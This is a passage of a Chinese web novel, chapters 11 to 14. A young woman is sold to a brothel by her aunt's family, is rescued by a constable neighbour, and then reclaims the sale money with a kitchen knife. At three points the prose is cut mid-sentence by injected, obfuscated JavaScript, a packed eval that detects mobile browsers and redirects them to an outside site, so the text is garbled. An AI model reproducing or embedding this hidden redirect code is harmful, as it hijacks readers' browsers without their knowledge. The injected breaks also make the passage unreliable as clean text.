陈管事有个跟宁秋差不多大的闺女，平日里疼爱得紧，所以招人第一日见到凄凄惨惨的宁秋时，她动了恻隐之心。 事已至此，便再给一个机会吧！ “我与掌柜商议一下，不过我丑话说在前头，这次处理不好你也不必来了。” “好。”宁秋立马应声，眼神越发坚定起来。 她这回不打算跟庞家人吵，对方不讲理说再多也只是浪费口水，倒不如单刀直入，先问问他们想干嘛？ 宁秋随庞家婆媳去了老槐巷，时隔多日再回到这里，她心中有种说不出来的滋味。 从初来时满心期待，将姑姑家当成了救命稻草，到后来双方闹翻，见面如同见了仇人，天翻地覆的转变，换谁都难以接受。 一进庞家，宁秋就看见蹲在角落洗床单的秀云，只一眼，她便平静地挪开视线。 “好了，我们之间没必要拐弯抹角惺惺作态了，有话直说吧！” 宁秋面色沉静，看向宁巧娘的眼神格外冷漠，说出来的话也阴恻恻的，让人听了胆寒。 “我如今孤身一人贱命一条，能活一日算一日，活不了就去死，你们不一样，一家子人呢！真把我逼急了，我不介意让你们陪同上路。” “哦，对了，我这个人从不开玩笑。” 说着，宁秋突然勾起一抹笑，眼睛一抬，视线似乎定格在宁巧娘脸上，却又好似没在看她，眼神空洞洞的，没有聚焦。 11. 脱离 “你个死丫头，胡咧咧什么东西？” 宁巧娘眼神闪躲，下意识后退一步与宁秋保持距离，虚张声势道：“别以为胡言乱语我就会怕你，老娘吃过的盐比你吃过的饭还多，什么样的人没见过，会怕你？真是笑话。” “噗嗤！” 宁秋听她这话实在没忍住笑出声，眼中满是嘲讽。 “你笑什么？”宁巧娘蹙眉。 “姑姑，我在笑你啊！” 宁秋起身故意往前走两步，想靠近宁巧娘，见她后退，面上的笑容更微妙了，“笑你口味重不自知，反倒沾沾自喜，小心吃太咸对身体不好。” “你你你……果真恶毒。” 宁巧娘畏畏缩缩太多年，并不擅长与人吵架，庞母不在身边她根本不是宁秋的对手，半晌儿只憋出一句“恶毒”。 “行了，别说些有的没的，你家谁做主，姑父呢？有事说事一次性解决了吧！” 宁秋随手提溜一个小板凳坐在大门边上，方便不对劲的时候逃跑。 询问刚出口，便见庞桥鬼鬼祟祟走进来，先探头探脑观察巷子里的情况，很快缩回来，关门的时候被宁秋拦下了。 “别关！” 庞桥这才将注意力收回，待看清阻拦的人是宁秋，双眼瞬间发亮。 好啊！打个瞌睡枕头就送上门了，看来家里的婆娘还是有点用处的。 “原来是秋丫头啊！” 庞桥粘腻的眼神上上下下打量宁秋，如同在看一件待估价的货物，看得宁秋浑身不适下意识后退一步，离门口更近了一些。 打量完宁秋，他目光一转，看向角落处瘦瘦小小埋头干活的秀云，瞬间皱起眉头，嫌弃地撇撇嘴。 原本还指望家里的丫头值几个钱替他解燃眉之急，结果大失所望，这品相卖去给人当粗使丫鬟都叫不上价，还是再养两三年赚一笔彩礼吧！ 庞桥在朱家多年，原本盯上了大小姐身边一等大丫鬟的位置，想将秀云塞过去，但因他是活契，家中子女不在挑选的范围内，只能作罢。 至于入府当个粗使丫鬟，挣不了几个钱还不如留在家里照顾儿子和老人。 短短几息，庞桥心思百转千回。 他两日玩转各种来钱的门路，还利用今日中午的时间把能借钱的人都借了一遍，细算下来，还差十五两才够偿还所有赌债。 明日便是最后期限，靠他自己已经榨不出银钱了，还不上赌债，依照赌坊的手段，绝不会轻易放过他。 挨一顿打还算轻了，断手断脚才叫可怕，届时成了残废，朱家的活肯定也保不住。 没有价值的人日子多难熬他很清楚，他决不能沦落到那种任人践踏的地步。 女儿卖不出价，只能将主意打到宁秋的身上了。 年纪、样貌、身段。 综合下来，宁秋算是上佳品相了，买回去好吃好喝养一养，绝对物超所值，又是孤女，没了消息也不会有人在意。 庞桥可不管出手后宁秋会过什么样的日子，他只在乎哪里开价最高来钱最快。 宁秋还不知眼前人龌龊的心思，只觉得他的眼神莫名让她心慌，一刻也不想多呆了。 “庞管事，我与你们一家人没什么可说的，也不想再与你们有任何牵扯。” 宁秋紧绷着神经，强装镇定尝试与庞桥沟通，对庞桥的厌恶让她连“姑父”都不愿意喊了，“你们到底怎样才肯放过我？” “哎呀，秋丫头，瞧你说的，都是一家人什么放过不放过，一家人哪有隔夜仇？” 庞桥上前一步，伸手想拍拍宁秋的肩膀，被她厌恶的避开了。 “你这孩子。”庞桥嗔怪一句，脸色瞬间沉下来，抬起的手默默收回去，还要装出一副包容任性小辈的长者范，继续道：“有话好好说，闹什么脾气。” “我还有别的事，你们没话可说我便先离开了。” 宁秋实在受不了了，扔下这句话转身就走。 下一瞬，一条手臂横到她的面前拦住去路，便听庞桥道：“急什么？难不成你还想回金绣阁干活？大闹两次人家估计也不想要你了，反正我有的是办法让你乖乖听话，不信你就试试。” 威胁的话回荡在耳中，宁秋感觉心口被什么东西狠狠束缚，险些一口气喘不上来。 她不可置信地瞪着庞桥，厉声道：“你们别太过分，不是只有你们懂得撒泼，大不了这份活我不要了，要疯大家一块疯，金绣阁不要我，朱员外府上也未必会要你这个搅事精。” 宁秋猛地推开庞桥的手臂，气呼呼往外面走。 庞家人好不容易将宁秋弄过来，又岂会轻易放她离开？ 庞桥反应最快，一个健步冲出去，揪住宁秋的头发往后一扯，宁秋当即痛呼出声，身体不受控制往后仰去。 她想大声呼救，念头刚起，嘴巴便被庞桥捂住了。 宁巧娘与庞母纷纷出来帮忙，三人同心协力，任凭宁秋如何挣扎也无济于事。 昨晚，庞桥已将欠赌债的事告知家里人，家中余钱全部被他掏空，为了一家人的生活与未来，这一关必须想法子度过去。 也正因此，庞桥提出算计宁秋时没有一个人反对，就连拥有血缘关系的宁巧娘犹犹豫豫过后也咬牙同意了。 利益当头，什么关系都是虚的。 “唔唔唔......” 宁秋的眼神中满是惊恐，拼命挣扎，泪水在多次自救无果后不争气地滑落下来。 她的双手被束缚住了，强大的求生欲助她爆发出更大的力量，两三个人一起也没能成功将她绑起来。 只是人的力气有限，一刻钟后，宁秋的拼劲明显减弱了。 “快，拿绳子。”庞桥命令，宁巧娘立马送来宁秋去拿生意，宁秋也在此时得到片刻喘息。 眼看绳子就要落到自己的身上，宁秋刚解救出来的嘴立马嚷嚷起来，又踢又踹，好一阵兵荒马乱。 就在双方僵持不下的时候，庞家门口来人了。 一个涂着厚重脂粉，满头珠翠，身着花花绿绿衣裳的妇人悠哉悠哉扭着腰肢走进来，看到眼前混乱的一幕，她“呦”一声，玩味的眼神扫过在场几人。 “忙着呢？我来的不是时候啊！” 她自顾自走进来，身后跟着四个满脸络腮胡的大汉，呈保护姿态分别站在两侧。 “哪里哪里，你来的正是时候。”庞桥给宁巧娘使了个眼神，示意她摁住宁秋，他自己则赔笑迎向来人，殷勤道：“你能亲自过来，寒舍蓬荜生辉。” “切！废话少说，货呢？” 妇人潋滟的眉眼一挑，视线似有若无扫过庞桥的脸，眸中闪过一丝嫌弃。 “在这里，看看满不满意？” 庞桥指着宁秋,继续道：“这孩子命苦，爹娘都没了，投奔过来请我们帮忙寻个好去处，我第一时间就想到你了。孩子若是有幸跟了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549410|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，穿金戴银、吃香的喝辣的都是再平常不过的事。” 妇人没接庞桥的奉承，扭着腰肢走到宁秋面前，挑剔的眼神将她上上下下打量一遍，片刻后才道：“是个性子烈，模样也周正，说吧，想要多少？” “三十两。”庞桥偷偷打量妇人的脸色，竖起三根手指。 妇人闻言嗤笑出声，直接否决了。 “庞管事，奴家开门做生意本钱花多少心里有数，你张口就要三十两未免太不诚心了，既如此，我们伊春楼也不是非要这个货。” “杨妈妈息怒。”庞桥搓了搓手，老鼠眼提溜转一圈，安抚妇人道：“我第一次卖不清楚市价很正常，你问我想要多少，自然就往高处报了。三十两不合适的话，你觉得开多少合适？” 杨妈妈竖起食指比了个一，庞桥瞬间拉下脸来。 片刻后，他调整好心态继续讨价还价。 宁秋彻底懵了，听了那么多，她终于搞明白现在什么情况。 感情她一个活生生的人被当成货物谈论买卖，忽视她的反应，忽视她的抗争，她的命自己却做不得主，多可笑啊！ “我不同意，我与庞家没有任何干系，你们这是违法的，你们……唔唔唔……” 宁秋一句话还没喊完，就被宁巧娘迅速捂住了嘴。 杨妈妈和庞桥根本没把宁秋的话当一回事，青楼里面什么事没见过，带回去好好“调.教”一番自然就乖乖听话了。 “最多能给到十五两，能卖就卖，不愿意就算了。”杨妈妈直接将价格砍半，庞桥犹豫片刻还是同意了。 双方签下契书，强压着宁秋摁下指纹。 她眼睁睁看着指纹出现在纸上，看着卖身的十五两从杨妈妈手中转移到庞桥手中，那一刻，她心如死灰。 庞家人无耻的笑容深深刺痛了她，她好恨，却又无能为力。 伊春楼的四名大汉紧盯着她，即便大门敞开，她也跑不掉。 买卖达成后，杨妈妈一行五人裹挟着宁秋离开庞家，庞桥不放心，也跟着出去了。 宁秋不愿就此认命，路过周砚家时，颓丧无力的她猛地扑过去用力拍打大门，边拍边喊道：“救命啊！走水了，快来人，走水了，快来救火！” 她时刻记得阿爹的教导，遇到危险就喊走水，涉及的利益越大，露脸出头的人就越多。 短短两句叫喊，这个时辰还在家中的男女老少基本都跑出来查看是什么情况了。 宁秋一看有戏，顿时喜极而泣，发疯般拼命反抗伊春楼壮汉的控制，请邻居们帮忙报官。 杨妈妈脸色一黑，厚重的脂粉也遮盖不了她的狠辣与愠怒，当即便将契书摊开展现在众人面前，言语中的威胁大家伙都听懂了。 一时间，围过来的邻居有大半后退让路，宁秋心中燃起来的希望再度破灭。 她觉得自己真的要完了。 人群最边上，周砚刚从城外回来，又累又饿，打算回家吃点东西垫垫肚子。 一进巷子，他就听见里面吵吵嚷嚷，不知发生了什么事，直到看见一群人围在自家门口，而人群最中心面露绝望的姑娘他正好也认识。 周砚蹙眉，听着杨妈妈“有理有据”的说辞，心里瞬间涌上一股无名怒火，想说的话脱口而出，高声道：“宁姑娘与我早有约定，接我家的活，照顾我娘，就算要卖身也该按照先来后到同我签契，我出二十两，以后她就是我们家的人了。” 12. 帮忙 周砚这话一出，现场哗然。 宁秋闻声呆呆地望过去，脑子里如同被灌满了浆糊，黏腻浑浊，将她的思路凝结在绝望之中无法自拔。 她尝试着思考事情的发展趋势，却因思维混沌，脑子压根周转不了。 在场邻居自动自觉往边上站，给周砚让出一条路来。 看着越走越近的高大青年，杨妈妈的目光不自觉随着他而动，双眸越来越亮。 她今年不过三十有五，风韵犹存，干这行那么多年，看男人的眼光一向很准。 只一眼，她就相中了周砚，若能跟此等品相的恩客春风一度，也算是没白活。 “公子说笑了，什么先来后到奴家不清楚，奴家本本分分做生意，手中可是有契书的。” 杨妈妈袅袅娜娜迎向周砚，眼波流转，说话间，手已悄悄朝周砚结实的胸膛摸过去，即将触碰到衣裳之际，被反应过来的周砚一巴掌拍开。 “啪”的一声响，在场的人都听见了。 周砚还是第一次遇到这种情况，厌恶地皱紧眉头，看向杨妈妈的眼神中一片冰凉。 他下手又快又狠，一点力道都没有收，杨妈妈只觉得手背火辣辣的疼，低头一看，被打的位置通红一片，隐隐有肿起的迹象，顿时气不打一处来。 想她混迹青楼三十年，而后承蒙东家看重让她做了伊春楼的总掌事，楼中人多眼杂，什么三教九流，富户官员她都认识，对付起男人来，还没几个能顶得住，也从未有人如此不将她放在眼里，脸面都因那一巴掌丢尽了。 “我劝你老实点，别动不该有的心思。” 周砚目光如炬，不遮不掩，一字一句叙说自己的不满，又一次将杨妈妈的脸面狠狠踩在脚下。 紧接着又听他道：“按照大齐律法，凡是涉及人身买卖的案子必须公开透明，良籍入贱籍和奴籍者必须经由双亲首肯，本人同意，第三方见证才能签契换籍，试问这位......夫人，你手中的契书可附和这一点？” “你......那是自然。” 杨妈妈强忍心中的怒火，咬死了签契合规合矩，还朝庞桥使了个眼色。 庞桥立马上前附和道：“是啊，周贤侄，三舅哥过世之前曾给内子写过一封托孤信，让我们给秋丫头寻个好去处，你放心，秋丫头也是同意的，我们是一家人，还能害她不成？” 周庞两家邻居那么多年，彼此间多少有一点了解，为人品性皆心知肚明。 庞桥此时心虚不已，压根不敢与周砚对视，但是他太需要这笔银子了，没有后路可退，只能硬着头皮努力促成这桩上不得台面的生意。 “哦？是吗？”周砚冷笑一声，显然是不相信。 “那是自然，秋丫头是内子的亲侄女，打断关系还连着筋，一笔写不出两个宁字。” 庞桥一把将宁巧娘扯过来，皮笑肉不笑地问道：“是吧？媳妇。” “是......是。” 宁巧娘点头附和，紧张地攥住衣摆。 夫妻两一唱一和，还真当大家伙是傻子了？ 没等周砚开口，就有看不过眼的邻居嘲讽道：“你们两口子还真敢说，不怕小姑娘的爹娘半夜回来找你们吗？” “就是就是。” “人家好好的闺女到你们家两天就挨打的满身伤，连夜逃出去，就这，你们还好意思说对人好，好个屁。” “还亲姑姑亲姑父嘞，都要把人家卖去腌臜地了，还有脸说为了人家好，咋的，你们实在想男人想女人，耐不住寂寞，就卖自己啊！祸害人家好好的小姑娘，呸，真不要脸。” “跟你们这种人住同一条巷子，我们都觉得丢脸。” 议论谩骂声一句接一句进入庞桥等人的耳中，邻居们熟悉的脸上全是鄙夷，目光汇集过来，如同地狱里惩罚罪恶的鞭子，一下又一下抽到他们的身上。 让他们惶恐，让他们不安。 就在这时，周砚又一次开口了。 “验证你们所言真假很简单，问一问当事人就知道了。鄙人不才，在府衙当差见过不少审讯手段，诸位若是有异议，我们也可动身去往府衙，将此事交由大人定夺，如何？” 周砚这话明摆着没给商量的余地，要么按他所说解决，要么大家伙一块去见官。 邻居们闻言也纷纷支援，开口附和，将事情定性抬上一个新的高度。 杨妈妈也是这时候才知道周砚在府衙当差，当即生吞活剥庞桥的心都有了。 青楼经营在大齐国属于灰色产业，来钱快，但争议颇多，身上有官职或者在意名声的人都会远离亦或是暗地里交易。 伊春楼背后的靠山也不小，但不能摆到明面上来。 杨妈妈不怕周砚一个小小捕快，她怕事情闹大惹来不必要的麻烦。 权衡利弊之下，她勉强扯出一抹笑容，用调侃的口吻回道：“小哥说的哪里话，一点小事我们商量着就能解决好，不必叨扰知府大人了。庞管事是我们楼里的老客户，奴家也是信任他才过来，嗐，怪奴家没提前调查清楚，闹了个大乌龙。” 杨妈妈举起手中的契书，三下五除二撕成碎片全撒地上，然后果决道：“都是误会，契书已撕，不成买卖。” 她顿了顿，看看庞桥又看看周砚，问道：“签契时奴家付了十五两银子，现在买卖不成，银钱你们二人谁来给？” 庞桥不语，将怀中的钱袋子抱得更紧了。 “小哥你来付？如果奴家没听错的话，方才小哥说要出二十两，不知是否还作数？” 杨妈妈娇笑一声，这会儿还惦记着白跑一趟能捞一点是一点。 周砚没接杨妈妈的话，而是将目光转向庞桥，那眼神什么意思再清楚不过了。 庞桥心中不愿，低着头让人看不清表情，实则老鼠眼疯狂转动，思考着下一步对策。 巨额赌债如同一把刀时刻悬挂在他的头上，手中的每一个铜板对于现在的他来说，跟性命一样重要，让他交出去绝对不可能。 他左思右想，最终梗着脖子道：“谁说买卖不成了？契书一式两份，我手里还有一份，上面白纸黑字写的清清楚楚，秋丫头也画了押，银钱归我，人归伊春楼，就算去到公堂，我们也占理，哪能说反悔就反悔？” 签契的时候在庞家里面，大门紧闭，宁秋是自愿还是被迫真没外人看见，人证不成立，物证又是那张契书，明显对宁秋不利，真要掰扯起来，还真不好界定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561828|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即便是宁秋否认自愿卖身这件事，庞家人也能狡辩成宁秋事后反悔，当时是同意的。 至于宜春楼的人能不能做人证，八成也指望不上，干那行背地里不知有多少肮脏交易，出于利益考量，对方也不可能同意作证。 周砚面露不悦，拧成川字的眉头反映了他当下的烦扰，若非身份不允许，真想即刻将庞桥暴打一顿，再拎着他的衣领好好问一问钱该谁出？ “周贤侄，即便你是官差也不能不讲理，欺负我们小老百姓啊？” 庞桥装出一副为难的样子，开口就是倒打一耙。 周砚看着对方小人得志的模样沉思片刻，而后对杨妈妈道：“银子我给你，但另一张契书需要你代为拿回来当场撕碎，你可愿意？” “小事一桩，自是可以。”杨妈妈乐得结个善缘，毫不犹豫应下了。 周砚转身进家门，去而复返，将手中的十五两银子递给杨妈妈，杨妈妈也上道，当即命人夺过庞桥手中的契书撕了粉碎。 “契书已撕，这里也没奴家什么事，奴家先走了，欢迎大家伙有空去伊春楼坐坐，咱们楼里的姑娘个顶个的水灵。” 杨妈妈娇笑着，在老婶子小媳妇鄙夷的目光下带着自己的手下扭着腰肢离开了。 邻居们见没有热闹可瞧，也三三两两回了家。 周砚轻叹一声，抬脚走向坐在墙角处目光呆滞的姑娘，站在她的面前，缓缓伸出宽厚的手掌。 宁秋一愣，茫然地抬起头，也不知是不是魂丢在困境之中了，眼神中依旧绝望，没有半分脱离危险的愉悦，双目通红，泪水将落未落，看得人心中发堵，有种难以言说的感觉。 “没事了，都过去了。” 周砚保持伸手的动作，尽量将声音放柔一些，“我花钱是为了快速解决麻烦，断绝后患，不是真的要买你，你依旧是自由的。我也没打算要你还钱，只当做了件好事，积福德，今后你好好生活，好好过日子就行。” 顿了顿，周砚见宁秋依旧没什么反应，想到几次接触下来姑娘坚韧独立的性子，犹豫一下，试探性问道：“你若是觉得亏欠，不想受我这份好也可以攒钱还我，都随你。” 这时，宁秋脑中的混沌褪去，刚才发生的一幕幕也被她梳理清楚，面上神色终于有了反应。 她的手缓缓搭上周砚的掌心，借着他的力道重新站稳，二人面对面站着，不动声色观察彼此的反应。 过了好一会儿，宁秋挤出一抹笑，郑重的向周砚道谢，“周大哥，今日若是没有你，我恐怕就没有以后了，多谢你！这份恩情我一定会铭记于心，以后好好报答你。” 周砚的每一句话她都听进心里了，道谢报恩也是她此时此刻最诚挚的意愿。 “其实你不必如此，就算没有我周砚，也会有李砚、王砚，路见不平，总会有人愿意拔刀相助。” 周砚不懂如何与姑娘交往，说话干巴巴的，想哄人，奈何实力不允许，严肃冷漠的脸加干巴巴的话，很容易被人误会成在敷衍。 宁秋闻言笑笑，不置可否，下一瞬她不知想到了什么，突然没头没脑接一句，道：“周大哥你说的对，确实需要拔刀。” 周砚：嗯？？？？ 13. 拔刀 “什么？”周砚疑惑。 “拔刀啊！”宁秋狡黠一笑，刚扯动嘴角便疼得倒吸一口凉气，缓了缓，她继续道：“周大哥，借我一把菜刀呗。” 周砚依旧想不明白，直接问道：“你要菜刀做什么？” “有用。” 宁秋神神秘秘，没等周砚应允就雄赳赳气昂昂往周家走，周砚忙跟上，开门让路一气呵成。 片刻后，宁秋手举一把锋利的菜刀，忽略周砚疑惑不解的注视，直奔斜对门。 周砚担心出事，赶忙跟上。 “叩叩叩！” “砰砰砰！” 庞家的大门被宁秋猛砸，又急又响，敲了小半刻钟，里面才有人开门，秀云怯生生的小脸也在此时出现在宁秋面前。 “表......表姐。” 她声如蚊呐，浅浅唤了宁秋一声立马低下头。 宁秋同情地看了秀云一眼，淡声道：“我找你爹，与你无关，一会儿找个地方躲着，看到什么都别出来，不然被误伤我可不会管。” 说着，她轻轻推开秀云，举着菜刀大步冲向主屋，一边嚷嚷道：“庞桥，你给我出来。” 庞父庞母正好在院子里，反应也最快，见到来人是宁秋立马上前阻拦。 宁秋哪能让他们得逞？ 菜刀瞬间挥过去，锋利的刀刃从庞母的脸颊擦过，划出一道血痕，若非庞父动作敏捷及时拉了一把，此时的庞母恐怕已经躺下来了。 这下子别说庞父庞母了，就是身后小跑着跟进来的周砚都暗暗捏了一把汗。 嗬，小姑娘还挺猛。 宁秋吓退庞父庞母后一脚踹开主屋的门，里面庞桥夫妻正因为赌债的问题而烦恼，手中现银只够还赌债，找别人借的钱又是一笔不小的数目，家里的日子没法过了。 他们刚清数完银钱数额，准备一会儿就去赌坊，能解决一件事就先解决一件，根本没注意外面的情况，突然屋门乍响，双双惊了一跳。 “庞桥，还钱！” 宁秋一声大喝，不管不顾举着刀就朝庞桥冲去，庞桥大骇，根本来不及思考，全凭本能反应险险避开。 宁巧娘见状失声尖叫，小小的一间屋子乱作一团，噼里啪啦砸了不少东西。 “你个死丫头，你疯了？”庞桥大骂。 宁秋立马回怼道：“是啊，我疯了，被你们一家丧尽天良的狗东西逼疯了。” 双方围着茶桌跑了几圈后不约而同地停下来。 宁秋叉腰喘着粗气，厉声道：“把卖身钱还给我，那是我的钱，你有什么资格拿？” “放屁，进了老子的口袋就是老子的。”庞桥冷哼，丝毫不让，甚至在心里暗暗盘算，又一次打上宁秋的主意。 宁秋敏锐发现了庞桥饱含贪欲的眼神，不由勾起了唇角，下一刻又飞扑过去，菜刀胡乱挥舞，好几下险些砍到对方身上。 庞桥一边躲一边观察寻找反击的机会，正当他准备出手时，周砚的身影适时出现在门口，长臂一捞，庞桥便猝不及防倒入了他的怀中。 双方实力悬殊，庞桥压根不是周砚的对手，被死死压制不能动弹。 庞桥急了，骂道：“你们这是入门行凶，犯法了，我要报官抓你们！” “那你去啊！谁能证明，谁看见了，你们家自己人吗？” 宁秋冷笑，同样的手段一一还给他们。 她几个大步走过来，眼神定格在庞桥胸膛鼓鼓囊囊的位置，伸手一掏，掏出一个钱袋子。 “拿来吧你！” 宁秋的动作很粗鲁，数出十五两后将钱袋子扔还宁巧娘，铿锵有力地说道：“我只拿属于自己的，你们的，我一个铜板也不会碰。” 说完，她看了周砚一眼，提着刀转身离开了。 周砚无奈，随手甩开庞桥也跟着走。 今日之前，打死他也想不到自己会做出如此离谱，如此离经叛道之事。 身为官差，却知法犯法，陪着一个姑娘私闯民宅，胡闹一场，然而他稀里糊涂就这么干了，真是匪夷所思。 可转念一想，庞家人为非作歹在前，罔顾宁秋的意愿谋求她人钱财和人身权利，又打又骂，可恶至极。 现在他俩不过是以其人之道还治其人之身，用了点粗暴的手段拿回自己的东西，情有可原，又怎能说胡闹呢？ 从庞家到周家短短十几步的距离，周砚的心中已千回百转，思绪翻飞，彻底将自己说服了。 他望向前面的姑娘，不自觉抿了抿唇瓣，大门一开一合，沉默地停在庭院之中，低首垂眸，也不知道在想什么？ 宁秋将菜刀清洗干净重新放回厨房，胡乱发泄一通的她此时已恢复理智，后知后觉难为情起来。 “周大哥，那个......” 她踟蹰好半晌儿才踱步来到周砚面前，仰起脑袋看向他，拿出抢回来还没捂热的十五两银子，磕磕巴巴又分外诚恳地说道：“十五两银子，还给你，今日多谢了，刚刚也......也谢谢。” 周砚抬起眼帘，对上姑娘真挚的眼神迟迟没有开口，也没有接躺在姑娘手心的碎银。 “那个，我知道光还银子不足以报答你的恩情，既然你我之间的‘’约定’已经宣扬出去，晚些我便收拾东西搬过来照顾婶婶，阿爹教导我要言而有信，我便不能食言。” 宁秋一口气将心里话说出来，大大松了一口气，她倒是没多想，只顾着报恩了，“哦，对了。婶婶会同意吗？” 周砚默了默，面对姑娘积极主动的反应有些一言难尽。 “所谓约定不过是我情急之下胡编乱造的借口，做不得数，这一点你心里很清楚，而且你与我们母子并无血缘关系，一个姑娘住进我家对你的名声有碍，不妥。” 稍作思索，他突然像是想到了什么，表情变得有些奇怪。 紧接着，便听他又道：“我不知你到底带了多少银子来平州投亲，但那么多天过去，衣食住行都要花钱，想来也不剩什么了。你手头紧我可以借你银子，或者直接给你不用还都行，但是住进我家还是算了，我娘没老到需要照顾的地步，就不劳烦姑娘了。” 宁秋：...... 周砚一番话说的直白了当，语气冷硬，拒绝之意傻子都能听出来，但是宁秋真没有蹭吃蹭住的意思，唯一的想法只是报恩。 此时此刻，她很想大喊一声“冤枉啊”，更想敲开周砚的脑袋看看他里面装的什么东西，一个人的脑回路怎么能如此清奇？ 可转念一想，人家会如此怀疑也不是没有依据。 她现在真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567396|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的很穷，还迟迟找不到稳定的落脚处，跟平州唯一的亲人闹掰了，章回县有家不能回，可不就像话本子里上门打秋风的破落户么？ 宁秋不禁颓丧下来，连解释的欲望都没有了。 “哦，不用，我自己能挣钱。” 周砚见宁秋耷拉下脑袋，整个人丧丧的，后知后觉反应过来自己的表达很有问题。 “我不是那个意思，我的意思是，是......呃，我就是觉得于礼不合，很容易滋生各种流言蜚语，会影响你的名声。” “我明白你的意思。” 宁秋打断他的话，再度仰起小脸，露出一个牵强的笑容，迅速调整好自己的状态，道：“周大哥不必解释太多，是我想岔了，确实不妥，此事便罢了。” “我在福来客栈住的挺好，金绣阁那边只要姑姑他们不再去闹事，很快就能有收入了，我可以照顾好自己，你放心，以后有什么事需要帮忙你也别跟我客气。” 周砚闻言动了动嘴，有些话反复在嘴里咀嚼，终是什么也没说出口。 “没什么事我先回金绣阁同陈管事说一声，先不打扰周大哥了。” 宁秋淡笑着留下一句话，客气又疏离，道了别，她匆匆离开。 周砚的目光一直停留在门口，看似平静，实则内心已翻江倒海，差一点就将他淹没了。 刚刚宁姑娘是不是哭了？ 眼睛有点红，出门的瞬间小臂好像朝脸上擦了擦，跑的太快，没看清是不是擦眼泪。 他真该死啊！说话声音又冷又硬就算了，臭嘴胡咧咧什么？ 人家姑娘没那么多乱七八糟的想法，只是要报恩，而他心里明明是为对方着想，偏偏说出去的话怎么有种人家死皮赖脸黏上来的感觉，这跟当面骂人家不要脸有什么区别？ 还口口声声说借钱，给钱不用还，还强调了母亲身体硬朗不需要别人帮，仿佛是怕别人听不明白急哄哄赶人一样。 姑娘家脸皮都薄，肯定伤心了。 周砚越想，心中的负罪感就越盛，宁秋可怜又倔强的面容一下子浮现在他的脑海中，他更自责了，一口气吃完三碗饭。 周母今日邀约老姐妹上街逛半天，买了双银耳环，心情颇好。 一回来便看到儿子埋头使劲扒饭，面前的菜盘子装的是他平时最爱吃的红烧肉，可他仿佛没看到般，动都不动，明显很不对劲啊！ “儿啊！你怎么了，差事办的不顺利吗？”周母温声询问。 周砚温声放下碗筷，闷声回道：“没有，一切都很顺利。” “那你怎么这个表情，好像谁欠你钱似的。”周母嗔怪道。 确认儿子没事，周母顿时放下心来，拿出自己逛街半天获得的战利品，高高兴兴分享道：“布庄清库存，好多布匹便宜卖了，娘见这个颜色不错，料子也好，便买下一匹给你做新衣裳。” “多谢娘。” 周砚提不起兴趣又不想扫母亲的兴致，便耐心配合着，等周母说完，才找个办正事的借口离家。 周母将家中里里外外简单收拾一遍，哼小曲，抱着针线篓到老姐妹李春兰家一块做针线活。 今日过来的不仅她一人，还有住李春兰隔壁家的翠英嫂子，在这里，她破天荒听到一个关于自家儿子的大瓜。 14. 意见 “翠英啊，你说的可是真的，真是我家砚哥儿？” 周母一拍大腿，声音不自觉拔高，眼神中满是不可置信。 “废话，当然是真的。” 翠英嫂子努努嘴，没好气道：“你我姐妹多年，我还能编瞎话骗你不成？砚哥儿也是我看着长大的，又没老糊涂，怎么可能认错，再说了，大家伙都在场，你不信出去问一圈，看看我是不是骗你。” “啧，看来臭小子长进了啊！以前半天憋不出一个屁，路过有姑娘摔倒他都跟眼瞎一样，不带扶的，现在连英雄救美都学会了，老母亲的心终于有一点安慰了。” 周母开怀大笑，身边两人都是多年姐妹，在她们面前没有装模作样的必要，她想到什么就说什么了，调侃起儿子来，丝毫不嘴软。 翠英嫂子和张春兰也知周母的心结，儿子的婚事让她操碎了心，没少在她们面前吐槽，这会儿自是能体谅她的心情，半安慰半打趣道：“你就知足吧！” “砚哥儿有本事，我听我家陈安说，上司准备提拔砚哥儿做捕头，以后手下管着二十个人呢！平日里对你也孝顺，有什么好东西都想着你，上回我家陈安要请酒，衙门里交好的同僚都去了，只砚哥儿没去，巴巴回来陪你去医馆，你说你，也没老到走不动道，有病不会自己去看啊？” 周母接话：“老毛病根治不了，要不是砚哥儿坚持，我都不想去，浪费银子。” 她嘴上嫌弃儿子的管束，眉眼间的得意与欢喜却骗不了人，不过炫耀归炫耀，好姐妹夸了自家儿子，自己也不能只受用不回匮。 她顿了顿，从翠兰嫂子的针线篓里扯出一根黑色丝线，笑道：“别只顾着夸我家砚哥儿，他啊，毛病多着呢！还是你家陈安好，同你亲近，外面有什么趣事都不忘跟你唠唠，我家那个问一句答一句，外头的事我还没你们知道的多。” “你们那算什么，论毛病，陈安和砚哥儿加起来都没我们家大牛多。” 